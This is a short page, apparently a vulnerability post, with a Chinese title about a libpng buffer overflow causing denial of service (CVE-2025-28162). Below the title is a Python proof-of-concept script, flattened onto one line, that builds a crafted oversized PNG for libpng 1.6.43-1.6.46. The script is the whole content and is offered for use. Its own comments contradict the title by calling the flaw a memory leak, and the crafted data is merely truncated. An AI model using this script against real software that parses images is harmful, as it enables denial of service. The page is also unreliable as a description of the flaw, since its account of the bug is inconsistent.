CVE-2025-28162 libpng缓冲区溢出漏洞导致拒绝服务

import struct import zlib def create_malicious_png(): """ Generate a malicious PNG file to trigger CVE-2025-28162 This PoC creates a crafted PNG that causes memory leak in libpng 1.6.43-1.6.46 """ # PNG signature png_signature = b'\x89PNG\r\n\x1a\n' # IHDR chunk - Image header # Width: 10000, Height: 10000, Bit depth: 8, Color type: 2 (RGB) ihdr_data = struct.pack('>IIBBBBB', 10000, 10000, 8, 2, 0, 0, 0) ihdr_crc = zlib.crc32(b'IHDR' + ihdr_data) & 0xffffffff ihdr_chunk = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', ihdr_crc) # IDAT chunk - Image data (truncated to trigger overflow) # Malformed compressed data that causes buffer issues raw_data = b'\x00' * 100000 # Large amount of filter bytes compressed_data = zlib.compress(raw_data) idat_crc = zlib.crc32(b'IDAT' + compressed_data) & 0xffffffff idat_chunk = struct.pack('>I', len(compressed_data)) + b'IDAT' + compressed_data + struct.pack('>I', idat_crc) # IEND chunk - Image end iend_crc = zlib.crc32(b'IEND') & 0xffffffff iend_chunk = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', iend_crc) # Write malicious PNG with open('malicious_cve_2025_28162.png', 'wb') as f: f.write(png_signature + ihdr_chunk + idat_chunk + iend_chunk) print("Malicious PNG created: malicious_cve_2025_28162.png") print("Use with vulnerable libpng 1.6.43-1.6.46 and AddressSanitizer") if __name__ == '__main__': create_malicious_png()